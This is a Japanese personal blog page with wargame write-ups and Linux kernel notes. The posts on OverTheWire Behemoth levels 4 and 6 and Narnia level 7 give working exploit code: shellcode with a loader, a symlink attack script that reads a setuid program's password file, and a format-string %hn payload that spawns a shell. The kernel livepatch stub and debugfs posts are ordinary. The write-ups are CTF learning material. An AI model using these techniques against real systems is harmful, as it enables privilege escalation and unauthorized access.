ローカル環境にWebサーバを建てようとはあまり思わないんですが、docker使うと別の場所で動かすこともすぐできるし良いですよねヽ(=´▽`=)ノ

詳解UNIXプログラミング 第3版

詳解UNIXプログラミング 第3版

behemoth6めも

overthewireのbehemothのレベル6をクリアできたのでメモしときます。

この問題は脆弱性を突くタイプではなくて、特定の条件を満たすとshellが起動してクリアとなる問題でした。 これは実行するプログラムは/behemoth/behemoth6で、内部的には/behemoth/behemoth6_readerも実行されます。

behemoth6のほうは最初にpopen(2)でbehemoth6_readerを実行します。このとき、popen(2)の2番目の引数は"r"を指定しています。 behemoth6_readerはshellcode.txtというファイルを読み出し、読んだデータをシェルコードとして実行します。behemoth6_readerをcで書いたらだいたいこんな感じのことをやるコードです。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL_TEXT "./shellcode.txt"

int main(int argc, char **argv)
{
        struct stat st;
        int ret;
        char *buf;
        FILE *fp;
        void (*f)(void);
        int i;

        ret = stat(SHELL_TEXT, &st);
        if (ret) {
                perror("stat");
                exit(-1);
        }

        printf("[*] shellcode size is %d bytes\n", st.st_size);

        buf = malloc(st.st_size);
        if (!buf) {
                perror("malloc");
                exit(-1);
        }

        fp = fopen(SHELL_TEXT, "rb");
        if (!fp) {
                perror("fopen");
                exit(-1);
        }

        fread(buf, st.st_size, 1, fp);

        fclose(fp);

        printf("[*] run shell\n");
        f = (void (*)(void))buf;
        f();

        return 0;
}

そして、behemoth6のほうはbehemoth6_readerからの出力を受け取ってstrcmp()でその文字列と期待値のチェックをしています。そして、シェルコードの出力と期待値が合えばexecl(3)で/bin/shを実行してくれます。そうするとbehemoth7ユーザーの権限でシェルが使えるので/etc/behemoth_pass/behemoth7が読めるというからくりです。なので、ここで使用するシェルコードはシェルを起動するコードではなくて、文字列を表示するシェルコードが必要になります。

今回は以下のシェルコードの元ネタをまず作りました。コンパイルgcc -nostdlib -m32 hello_kitty.sです。1ラベルにジャンプした後にcall命令で_helloに行くとpop命令で文字列のアドレスを取れます。これでwrite(2)に渡す文字列のアドレスを設定しています。

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"

あとはシェルコードの動作確認用コード。

#include <stdio.h>

/*
hello_kitty.s

.code32

.text
.globl _start
_start:
        jmp 1f

_hello:
        xor %eax, %eax
        xor %ebx, %ebx
        xor %edx, %edx
        mov $0x04, %al
        mov $0x01, %bl
        mov $0x0a, %dl
        pop %ecx
        int $0x80

        mov $0x01, %al
        mov $0x00, %bl
        int $0x80

1:
        call _hello
        .ascii "HelloKitty\0"



test:     file format elf32-i386


# objdump
Disassembly of section .text:

08048098 <_start>:
 8048098:       eb 15                   jmp    80480af <_hello+0x15>

0804809a <_hello>:
 804809a:       31 c0                   xor    %eax,%eax
 804809c:       31 db                   xor    %ebx,%ebx
 804809e:       31 d2                   xor    %edx,%edx
 80480a0:       b0 04                   mov    $0x4,%al
 80480a2:       b3 01                   mov    $0x1,%bl
 80480a4:       b2 0a                   mov    $0xa,%dl
 80480a6:       59                      pop    %ecx
 80480a7:       cd 80                   int    $0x80
 80480a9:       b0 01                   mov    $0x1,%al
 80480ab:       b3 00                   mov    $0x0,%bl
 80480ad:       cd 80                   int    $0x80
 80480af:       e8 e6 ff ff ff          call   804809a <_hello>
 80480b4:       48                      dec    %eax
 80480b5:       65 6c                   gs insb (%dx),%es:(%edi)
 80480b7:       6c                      insb   (%dx),%es:(%edi)
 80480b8:       6f                      outsl  %ds:(%esi),(%dx)
 80480b9:       4b                      dec    %ebx
 80480ba:       69                      .byte 0x69
 80480bb:       74 74                   je     8048131 <_hello+0x97>
 80480bd:       79 00                   jns    80480bf <_hello+0x25>
*/

char shellcode[] = "\xeb\x15"
"\x31\xc0"
"\x31\xdb"
"\x31\xd2"
"\xb0\x04"
"\xb3\x01"
"\xb2\x0a"
"\x59"
"\xcd\x80"
"\xb0\x01"
"\xb3\x00"
"\xcd\x80"
"\xe8\xe6\xff\xff\xff"
"HelloKitty\0";

int main(int argc, char **argv)
{
        void (*f)(void) = (void (*)(void)) shellcode;
        f();

        return 0;
}

それと、シェルコードをファイルに書き出すpythonスクリプトです。最終的にはこれをサーバで実行してshellcode.txtを作ってます。

#!/usr/bin/env python2

shellcode = "\xeb\x15\x31\xc0\x31\xdb\x31\xd2"
shellcode += "\xb0\x04\xb3\x01\xb2\x0a\x59\xcd\x80"
shellcode += "\xb0\x01\xb3\x00\xcd\x80"
shellcode += "\xe8\xe6\xff\xff\xff"
shellcode += "HelloKitty\0"

with open('shellcode.txt', 'wb') as f:
    f.write(shellcode)

print('[*] Done.')

このスクリプトを動かすとこのようになってクリアとなります(∩´∀`)∩ワーイ

behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ ./shell.py
[*] Done.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ id
uid=13006(behemoth6) gid=13006(behemoth6) groups=13006(behemoth6)
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Incorrect output.
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ chmod 777 /tmp/tmp.nDpCHusXQC
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6
Correct.
$ id
uid=13006(behemoth6) gid=13006(behemoth6) euid=13007(behemoth7) groups=13007(behemoth7),13006(behemoth6)
$

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)

まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)

シンボリックリンク攻撃めも

最近遊んでいるOverTheWireBehemothのレベル4がシンボリックリンク攻撃だったのでその攻略めもです。

behemothの問題はソースコードは公開されてないので見れるのはバイナリだけです。で、gdbでdisas mainしたときの表示がこちら。

Dump of assembler code for function main:
   0x080485dd <+0>:     push   ebp
   0x080485de <+1>:     mov    ebp,esp
   0x080485e0 <+3>:     and    esp,0xfffffff0
   0x080485e3 <+6>:     sub    esp,0x40
   0x080485e6 <+9>:     mov    eax,gs:0x14
   0x080485ec <+15>:    mov    DWORD PTR [esp+0x3c],eax
   0x080485f0 <+19>:    xor    eax,eax
   0x080485f2 <+21>:    call   0x8048460 <getpid@plt>
   0x080485f7 <+26>:    mov    DWORD PTR [esp+0x1c],eax
   0x080485fb <+30>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080485ff <+34>:    mov    DWORD PTR [esp+0x8],eax
   0x08048603 <+38>:    mov    DWORD PTR [esp+0x4],0x8048740
   0x0804860b <+46>:    lea    eax,[esp+0x28]
   0x0804860f <+50>:    mov    DWORD PTR [esp],eax
   0x08048612 <+53>:    call   0x80484d0 <sprintf@plt>
   0x08048617 <+58>:    mov    DWORD PTR [esp+0x4],0x8048748
   0x0804861f <+66>:    lea    eax,[esp+0x28]
   0x08048623 <+70>:    mov    DWORD PTR [esp],eax
   0x08048626 <+73>:    call   0x80484a0 <fopen@plt>
   0x0804862b <+78>:    mov    DWORD PTR [esp+0x20],eax
   0x0804862f <+82>:    cmp    DWORD PTR [esp+0x20],0x0
   0x08048634 <+87>:    jne    0x8048644 <main+103>
   0x08048636 <+89>:    mov    DWORD PTR [esp],0x804874a
   0x0804863d <+96>:    call   0x8048470 <puts@plt>
   0x08048642 <+101>:   jmp    0x804868d <main+176>
   0x08048644 <+103>:   mov    DWORD PTR [esp],0x1
   0x0804864b <+110>:   call   0x8048440 <sleep@plt>
   0x08048650 <+115>:   mov    DWORD PTR [esp],0x8048759
   0x08048657 <+122>:   call   0x8048470 <puts@plt>
   0x0804865c <+127>:   jmp    0x804866a <main+141>
   0x0804865e <+129>:   mov    eax,DWORD PTR [esp+0x24]
   0x08048662 <+133>:   mov    DWORD PTR [esp],eax
   0x08048665 <+136>:   call   0x80484b0 <putchar@plt>
   0x0804866a <+141>:   mov    eax,DWORD PTR [esp+0x20]
   0x0804866e <+145>:   mov    DWORD PTR [esp],eax
   0x08048671 <+148>:   call   0x80484c0 <fgetc@plt>
   0x08048676 <+153>:   mov    DWORD PTR [esp+0x24],eax
   0x0804867a <+157>:   cmp    DWORD PTR [esp+0x24],0xffffffff
   0x0804867f <+162>:   jne    0x804865e <main+129>
   0x08048681 <+164>:   mov    eax,DWORD PTR [esp+0x20]
   0x08048685 <+168>:   mov    DWORD PTR [esp],eax
   0x08048688 <+171>:   call   0x8048430 <fclose@plt>
   0x0804868d <+176>:   mov    eax,0x0
   0x08048692 <+181>:   mov    edx,DWORD PTR [esp+0x3c]
   0x08048696 <+185>:   xor    edx,DWORD PTR gs:0x14
   0x0804869d <+192>:   je     0x80486a4 <main+199>
   0x0804869f <+194>:   call   0x8048450 <__stack_chk_fail@plt>
   0x080486a4 <+199>:   leave
   0x080486a5 <+200>:   ret
End of assembler dump.

処理自体はmain()で完結してます。このプログラムは最初にgetpid(2)で自身のPIDを取得します。そしてsprintf(3)で以下のような形でファイル名を作成してます。

    sprintf(buf, "/tmp/%d", pid)

そして、fopen(3)でこのファイルを読みこみで開きます。もし、ファイルが無ければ、エラーメッセージを出して終了します。 ファイルが有った場合はfgetc(3)で開いたファイルから1byte読み込んで、読み込んだデータをputchar(2)で出力します。 なので、/tmp/${pid}が存在すれば、そのデータを出力できるですね。ここで読み込みたいファイルは次の問題へアクセするためのパスワードが書いてある/etc/behemoth_pass/behemoth5です。

behemoth4はsetuidされたバイナリなので/etc/behemoth_pass/behemoth5を読むことはできます。ログインしているユーザはbehemoth4なので/etc/behemoth_pass/behemoth5を直接読みことはできません。 で、どうするかというところでシンボリックリンクが出てきて、/tmp/${pid}が/etc/behemoth_pass/behemoth5を参照するようになっていればプログラムのbehemoth4はパスワードのファイルを読めます。

よって、この問題はpidさえ分かれば解決できます。じゃあ、pidをどうやって知るかとろころで、適当にコマンド動かしてそのpidからブルートフォースで/tmp/の下にシンボリックリンクのファイルを作るとか、適当なpidを選んで(1234とか)そのpidになるまで延々と実行するとかもあるんですが、めんどくさいのでpythonスクリプトでpopenでプロセス起動すればpidがわかるのでそこでシンボリックリンクを作ってしまいます。

#!/usr/bin/env python2

from subprocess import Popen
import os

target = '/behemoth/behemoth4'

pass_file = '/etc/behemoth_pass/behemoth5'

p = Popen([target])

print("[*] target %s's pid is %d" % (target, p.pid))

fake_file = '/tmp/%d' % (p.pid)

print('[*] create fake file %s' % fake_file)
os.symlink(pass_file, fake_file)

p.wait

print('[*] Done')

そして、これを実行するとこんな感じで、*********のところが実際のパスワードとして表示されてレベル4クリアとなりますヽ(=´▽`=)ノ

behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ ./poc.py
[*] target /behemoth/behemoth4's pid is 12523
[*] create fake file /tmp/12523
[*] Done
behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ Finished sleeping, fgetcing
*********

Raspberry Piではじめるおうちハック ~ラズパイとIoTでつくる未来の住まい~

Raspberry Piではじめるおうちハック ~ラズパイとIoTでつくる未来の住まい~

Linuxカーネルのライブパッチを使ってテスト用のstubを作る

この記事はLinux Advent Calendar 2016の1日目の記事です。 テストする時にstubって便利ですよね。最近はnodejsで仕事のコードを書いているのでsinon便利だなとか思ってます。じゃあ、Linuxカーネルでもstub作れたら便利だよねという思うわけです。そうすると、我々にはlivepatchという機能があります。 というわけで、Linuxカーネルのlivepatchを使ってstubを作れるようにしてみようと思ったのが今回の記事のネタです。

今回のコードはLinux 4.9.0-rc4で動かしています。 stub機能の前提としてlivepacthを使うのでstubのコードはlivepatch方式でカーネルモジュールとして作成します。どんな関数をどのようにstubするかはカーネルモジュールで決めるので、ここは使う人の自由となります。カーネル側はstubをするための機能を実装する形です。

差分はこのようになってます。bc33b0〜はLinux 4.9-rc4をリリースした時のコミットです。

masami@kerntest:~/linux-kernel (kstub=)$ git diff --stat bc33b0ca11e3df467777a4fa7639ba488c9d4911
 arch/s390/include/asm/livepatch.h |   5 ++++
 arch/x86/include/asm/livepatch.h  |   5 ++++
 include/linux/kstub.h             |  59 +++++++++++++++++++++++++++++++++++++++
 include/linux/livepatch.h         |   1 +
 init/main.c                       |   3 ++
 kernel/livepatch/core.c           |  20 +++++++++++++-
 lib/Kconfig.debug                 |   7 +++++
 lib/Makefile                      |   1 +
 lib/kstub.c                       | 261 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 samples/kstub/Makefile            |  17 ++++++++++++
 samples/kstub/kstub_test.c        |  74 +++++++++++++++++++++++++++++++++++++++++++++++++
 11 files changed, 452 insertions(+), 1 deletion(-)

この差分の内訳としては、stub機能を実現するためのコードがだいたいlib/にあり、stubする・しないを判定する処理を付けたかったのでlivepatch側にそれの対応を入れています。あとsample/にサンプルコードを置いてます。

stubする・しないの判定は以前に書いたlinux kernelのlivepatchにライブパッチを適用する・しないの判断機能を入れて遊ぶ - φ(・・*)ゞ ウーン カーネルとか弄ったりのメモからの流用です。

sampleディレクトリのコードをビルドして、例えばmoreコマンドの時にstubを適用するとこのようになります。

masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ sudo insmod ./kstub_test.ko target_name=more
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ cat /proc/version
Linux version 4.9.0-rc4-kstub+ (masami@kerntest) (gcc version 6.2.1 20160830 (GCC) ) #144 SMP Sat Nov 19 12:42:38 JST 2016
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ more /proc/version
linux version
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.9.0-rc4-kstub+ root=UUID=538fe610-066c-4939-9d33-18a80f7a28a0 rw quiet console=tty0 console=ttyS0,115200n8 crashkernel=128M
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$ more /proc/cmdline
hello, world
masami@kerntest:~/linux-kernel/samples/kstub (kstub=)$

サンプルコードはこのようなコードです。stubの処理はlivepatchをラップしているのでlivepatchを直接使うよりはコードが短くなってると思います。

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kstub.h>
#include <linux/seq_file.h>
#include <linux/string.h>
#include <linux/sched.h>

MODULE_DESCRIPTION("kstub test module");
MODULE_AUTHOR("masami256");
MODULE_LICENSE("GPL");

static char *target_name = NULL;
module_param(target_name, charp, S_IRUGO);
MODULE_PARM_DESC(target_name, "Target process name");

static struct kstub *kstub;

static int kstub_cmdline_proc_show(struct seq_file *m, void *v)
{
        seq_printf(m, "hello, world\n");
        return 0;
}

static int kstub_version_proc_show(struct seq_file *m, void *v)
{
        seq_printf(m, "linux version\n");
        return 0;
}

static bool kstub_need_patch_apply(void)
{
        return !strcmp(current->comm, target_name);
}

static struct kstub_stub_data stubs[] = {
        {
                .func_name = "cmdline_proc_show",
                .stub_func = kstub_cmdline_proc_show,
        },
        {
                .func_name = "version_proc_show",
                .stub_func = kstub_version_proc_show,
        },
        {}
};

static int kstub_test_init(void)
{
        if (!target_name) {
                pr_info("target name is required\n");
                return -EINVAL;
        }

        kstub = KSTUB_CREATE();
        if (IS_ERR(kstub))
                goto out;

        return kstub->ops.setup_stub(kstub, stubs, kstub_need_patch_apply);

out:
        return PTR_ERR(kstub);
}

static void kstub_test_cleanup(void)
{
        pr_info("%s\n", __func__);
}

module_init(kstub_test_init);
module_exit(kstub_test_cleanup);
MODULE_INFO(livepatch, "Y");

stub機能でstub(livepatchでパッチしてる関数)はdebugfsで見れるようにしています。start_kernel()で/sys/kernel/debugにkstubディレクトリを作成し、stub機能でstubをセットアップする時にカーネルモジュール名のディレクトリを作ってstubsというファイルでstubしている関数名を読めるようにしています。

[root@kerntest kstub]# cat /sys/kernel/debug/kstub/kstub_test/stubs
cmdline_proc_show
version_proc_show
[root@kerntest kstub]#

コードはgithubにあります。

github.com

差分はこちらからも見れます。

Comparing torvalds:master...masami256:kstub · torvalds/linux · GitHub

TODOとしてはエラー処理が適当を修正したいとか、stubをenable/disable切り替えたいとかありあす。

現段階での最新になる4.9.0-rc7でも動きます。

masami@kerntest:~/linux-kernel/samples/kstub (kstub>)$ cat /proc/version
Linux version 4.9.0-rc7-kstub+ (masami@kerntest) (gcc version 6.2.1 20160830 (GCC) ) #145 SMP Thu Dec 1 00:16:51 JST 2016
masami@kerntest:~/linux-kernel/samples/kstub (kstub>)$ more /proc/version
linux version

Happy Hacking 🍣🍣🍣

format string attackめも

最近CTFとか興味出てきたので色々と遊んでます。 今回はOverTheWire: Narniaのレベル7の問題(narnia7.c)を元にformat string attackのメモです。

narnia7の脆弱性のある関数はこれです。formatはmain関数においてはargv[1]で参照されていたもので、ユーザーからの入力がそのままsnprintf(3)に渡ります。

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

この問題はポインタ変数ptrfが最初はgoodfunction関数のアドレスを指しているので、hackedfunction関数のアドレスに書き換えると解決になります。hackedfunction関数はなかでsystem("/bin/sh")を実行するので、次の問題が書かれているパスワードファイルを読めるようになります。narnia7バイナリの所有者はnarnia8でパーミッションが4755なのでshellが立ち上がれば見れるって感じです。

32bitのバイナリを動かす環境があれば手元でも動かせられるので、仮想環境のarch linuxをmultilib有効にしてそこで試してます。もちろん、最後はoverthewireのサーバで実行してますが。コンパイルオプションには-fno-stack-protectorを付けてます。あとカーネルのASLRもオフにしてます。

まず、普通に実行するとこんな結果になります。書き換えるべきポインタのアドレスも表示してくれます。

masami@aur-dev:~$ ./narnia7 AAAA
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9fc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
masami@aur-dev:~$

これをgdbで動かします。まずvulnの終了前にブレークポイントを張ります。

masami@aur-dev:~$ gdb ./narnia7
Reading symbols from ./narnia7...(no debugging symbols found)...done.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x080485db <+0>:     push   %ebp
   0x080485dc <+1>:     mov    %esp,%ebp
   0x080485de <+3>:     sub    $0x98,%esp
   0x080485e4 <+9>:     sub    $0x4,%esp
   0x080485e7 <+12>:    push   $0x80
   0x080485ec <+17>:    push   $0x0
   0x080485ee <+19>:    lea    -0x88(%ebp),%eax
   0x080485f4 <+25>:    push   %eax
   0x080485f5 <+26>:    call   0x80484b0 <memset@plt>
   0x080485fa <+31>:    add    $0x10,%esp
   0x080485fd <+34>:    sub    $0x8,%esp
   0x08048600 <+37>:    push   $0x80486f5
   0x08048605 <+42>:    push   $0x80487f0
   0x0804860a <+47>:    call   0x8048430 <printf@plt>
   0x0804860f <+52>:    add    $0x10,%esp
   0x08048612 <+55>:    sub    $0x8,%esp
   0x08048615 <+58>:    push   $0x8048723
   0x0804861a <+63>:    push   $0x8048805
   0x0804861f <+68>:    call   0x8048430 <printf@plt>
   0x08048624 <+73>:    add    $0x10,%esp
   0x08048627 <+76>:    movl   $0x80486f5,-0x8c(%ebp)
   0x08048631 <+86>:    mov    -0x8c(%ebp),%eax
   0x08048637 <+92>:    sub    $0x4,%esp
   0x0804863a <+95>:    lea    -0x8c(%ebp),%edx
   0x08048640 <+101>:   push   %edx
   0x08048641 <+102>:   push   %eax
   0x08048642 <+103>:   push   $0x804881d
   0x08048647 <+108>:   call   0x8048430 <printf@plt>
   0x0804864c <+113>:   add    $0x10,%esp
   0x0804864f <+116>:   sub    $0xc,%esp
   0x08048652 <+119>:   push   $0x8048838
   0x08048657 <+124>:   call   0x8048460 <puts@plt>
   0x0804865c <+129>:   add    $0x10,%esp
   0x0804865f <+132>:   sub    $0xc,%esp
   0x08048662 <+135>:   push   $0x2
   0x08048664 <+137>:   call   0x8048450 <sleep@plt>
   0x08048669 <+142>:   add    $0x10,%esp
   0x0804866c <+145>:   movl   $0x80486f5,-0x8c(%ebp)
   0x08048676 <+155>:   sub    $0x4,%esp
   0x08048679 <+158>:   pushl  0x8(%ebp)
   0x0804867c <+161>:   push   $0x80
   0x08048681 <+166>:   lea    -0x88(%ebp),%eax
   0x08048687 <+172>:   push   %eax
   0x08048688 <+173>:   call   0x80484c0 <snprintf@plt>
   0x0804868d <+178>:   add    $0x10,%esp
   0x08048690 <+181>:   mov    -0x8c(%ebp),%eax
   0x08048696 <+187>:   call   *%eax
   0x08048698 <+189>:   leave
   0x08048699 <+190>:   ret
End of assembler dump.
gdb-peda$ b *0x08048698
Breakpoint 1 at 0x8048698

そしたら実行します。

gdb-peda$ r AAAABBBB
Starting program: /home/masami/narnia7 AAAABBBB
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9cc)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
 [----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fc8850 --> 0x0
EDX: 0x0
ESI: 0x2
EDI: 0xf7fc7000 --> 0x1b4d90
EBP: 0xffffda58 --> 0xffffda78 --> 0x0
ESP: 0xffffd9c0 --> 0xffffda80 --> 0x2
EIP: 0x8048698 (<vuln+189>:     leave)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868d <vuln+178>:        add    $0x10,%esp
   0x8048690 <vuln+181>:        mov    -0x8c(%ebp),%eax
   0x8048696 <vuln+187>:        call   *%eax
=> 0x8048698 <vuln+189>:        leave
   0x8048699 <vuln+190>:        ret
   0x804869a <main>:    lea    0x4(%esp),%ecx
   0x804869e <main+4>:  and    $0xfffffff0,%esp
   0x80486a1 <main+7>:  pushl  -0x4(%ecx)
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xffffda80 --> 0x2
0004| 0xffffd9c4 --> 0xf7fe39ab (<_dl_lookup_symbol_x+235>:     add    $0x30,%esp)
0008| 0xffffd9c8 --> 0x8048258 --> 0x55 ('U')
0012| 0xffffd9cc --> 0x80486f5 (<goodfunction>: push   %ebp)
0016| 0xffffd9d0 ("AAAABBBB")
0020| 0xffffd9d4 ("BBBB")
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048698 in vuln ()

そしてスタックの内容を表示します。

gdb-peda$ x/100x $esp-100
0xffffd95c:     0xf7fc5940      0xf7fc7d40      0xf7fc7000      0xffffd998
0xffffd96c:     0xf7e70734      0xf7fc7d40      0x00000000      0x00000002
0xffffd97c:     0xf7fc7000      0xffffd9b8      0xf7feee40      0xf7e706eb
0xffffd98c:     0x00000000      0x00000002      0xf7fc7000      0xffffd9b8
0xffffd99c:     0x08048719      0xf7fc7d40      0xf7e5c056      0x00000000
0xffffd9ac:     0x0804868d      0xffffd9d0      0x00000080      0xffffda58
0xffffd9bc:     0x08048698      0xffffda80      0xf7fe39ab      0x08048258
0xffffd9cc:     0x080486f5      0x41414141      0x42424242      0x00000000
0xffffd9dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9fc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda0c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda1c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda4c:     0x00000000      0xffffffff      0xffffdb24      0xffffda78
0xffffda5c:     0x080486e9      0xffffdc93      0xffffdb24      0xffffdb30
0xffffda6c:     0x08048791      0xf7fc73bc      0xffffda90      0x00000000
0xffffda7c:     0xf7e2a196      0x00000002      0xf7fc7000      0x00000000
0xffffda8c:     0xf7e2a196      0x00000002      0xffffdb24      0xffffdb30
0xffffda9c:     0x00000000      0x00000000      0x00000000      0xf7fc7000
0xffffdaac:     0xf7ffdbe4      0xf7ffcfcc      0x00000000      0x00000002
0xffffdabc:     0xf7fc7000      0x00000000      0xe54c93be      0xdfbb1fae
0xffffdacc:     0x00000000      0x00000000      0x00000000      0x00000002
0xffffdadc:     0x080484e0      0x00000000      0xf7feee40      0xf7e2a0a9

0xffffd9d0のところから8バイトがbufferの内容でAAAABBBBですね。その前の0xffffd9ccはgoodfunction関数のアドレスを指してます。アドレス0xffffd9b0の内容が0xffffd9d0でbufferのアドレスを指してます。0xffffd9b0はbufferのサイズです。

で、ポインタの書き換えですがこれは%hnを使ってやります。ここの指定方法はGray Hat Hacking The Ethical Hacker's Handbook, Fourth Editionにある計算方法を使います。

f:id:masami256:20161124233630p:plain

まず、 書き込みたいポインタのアドレスは0xffffd9fcなので、[addr+2][addr]の部分はこうなります。

"\xde\xd9\xff\xff\xdc\xd9\xff\xff"

次は、最初の%hnに使うパラメータの設定で、書き込みたいアドレスはhackedfunction()のアドレスなのでHOBは0x0804、LOBは0x8723になります。そうするとHOB < LOBなのでHOB-8を行って、結果は0x7fx。10進数になおして%.2044xになります。 次は%[offset]$hnでここは、0xffffd9bcからのbufferまでのoffsetで6(words)となって%6\$hn。 次に残りの16bit分で、HOB < LOBなので、%[LOB - HOB]xだから0x7f1fで、%.32543xとなります。最後は%[offset+1]$hnだから6+1で7となって%7\$hn。 最後にこれまでの結果をまとめると、こうなります。

$(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn

で、最後にこれで実行するとshellが立ち上がりますヽ(=´▽`=)ノ

masami@aur-dev:~$ ./narnia7 $(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn
goodfunction() = 0x80486f5
hackedfunction() = 0x8048723

before : ptrf() = 0x80486f5 (0xffffd9dc)
I guess you want to come to the hackedfunction...
Way to go!!!!sh-4.4$S

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition

Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition

作成したファイル(struct dentry *)の読み書き用バッファをプロセス等固有に持たせるめも

たとえば、debugfsのディレクトリとファイルをプロセス毎に作って、ファイルの中身はプロセスごとに変えたいってことをしたい場合にどうするかというメモです。

foobarという機能がdebugfsのルートディレクトリにディレクトリを作成して、piyoというプロセスはfoobar/piyo、poyoならfoobar/poyoとディレクトリができます。で、ファイルはfileという名前で固定されているけど、内容は個々に違う感じです。

/sys/kernel/debugfs/foobar --- /piyo/file
                           |-- /poyo/file

piyo/、poyo/は任意のタイミングで作成できて、foobarはstart_main()の時に初期化の関数を呼んで作るものとします。

foobar用に1つだけファイルを作成するならバッファは一つで良いのでファイルのdentryはこんな感じで作れます。

// ファイルの読み書き操作の関数設定
static struct file_operations foobar_file_fops = {
    .read = fooabr_file_read,
    .write = foobar_file_write,
};

// /sys/kernel/debugfs/foobarのdentry
static struct dentry *foobar_dir;

// fileの読み書き用バッファ
static char file_buf[64];

// どこかの関数でファイルの作成
foobar_file = debugfs_create_file("file", 0644, foobar_dir, file_buf, &foobar_file_fops);

今回やりたいのは、file_bufをstaticにしないで、プロセスとかインスタンスごとに変えるってことです。

ファイルの読み書き時にはfile構造体は受け取れます。なので、ここから固有のデータにアクセスするのが良いですね。

ssize_t foobar_file_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos);
ssize_t foobar_file_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos);

この時にfile構造体からfile_dentry()を使ってdentry構造体を取得できるんですが、ここでcontainer_ofマクロを使ってもポインタが違うので、正しいデータの取得ができません。よって、別の手段を取る必要があります。

で、ここで使えるのがinode構造体のi_private変数です。この変数にデータを入れるのってNamespacesのnsfs.cでも使ってる方法です。file構造体からinodeの取得はfile_inode()でできます。

今作りかけのやつですけど、実際に書くとこんな感じになります。

struct kstub {
    const char *old_name;
    struct module *module;

    struct klp_func funcs[2];
    struct klp_object objs[2];
    struct klp_patch patch;
    
    struct dentry *this_stub_dir;
    struct dentry *cmd_file;
    char cmd_file_buf[32];
};

static struct dentry *kstub_debugfs_dir;

static inline struct kstub *kstub_get_kstub_from_file(struct file *filp)
{
    return file_inode(filp)->i_private;
}

static ssize_t kstub_cmd_file_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
{
    struct kstub *kstub = kstub_get_kstub_from_file(filp);

    return simple_read_from_buffer(buf, len, ppos, kstub->cmd_file_buf, sizeof(kstub->cmd_file_buf));
}

static ssize_t kstub_cmd_file_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
    struct kstub *kstub = kstub_get_kstub_from_file(filp);
    int copy_len = len >= sizeof(kstub->cmd_file_buf) ? sizeof(kstub->cmd_file_buf) : len;

    memset(kstub->cmd_file_buf, 0x0, sizeof(kstub->cmd_file_buf));
    return simple_write_to_buffer(kstub->cmd_file_buf, copy_len, ppos, buf, len);
}

static struct file_operations kstub_cmd_file_fops = {
    .read = kstub_cmd_file_read,
    .write = kstub_cmd_file_write,
};

static int kstub_create_cmd_file(struct kstub *kstub) 
{
    int err = 0;

    kstub_cmd_file_fops.owner = kstub->module;
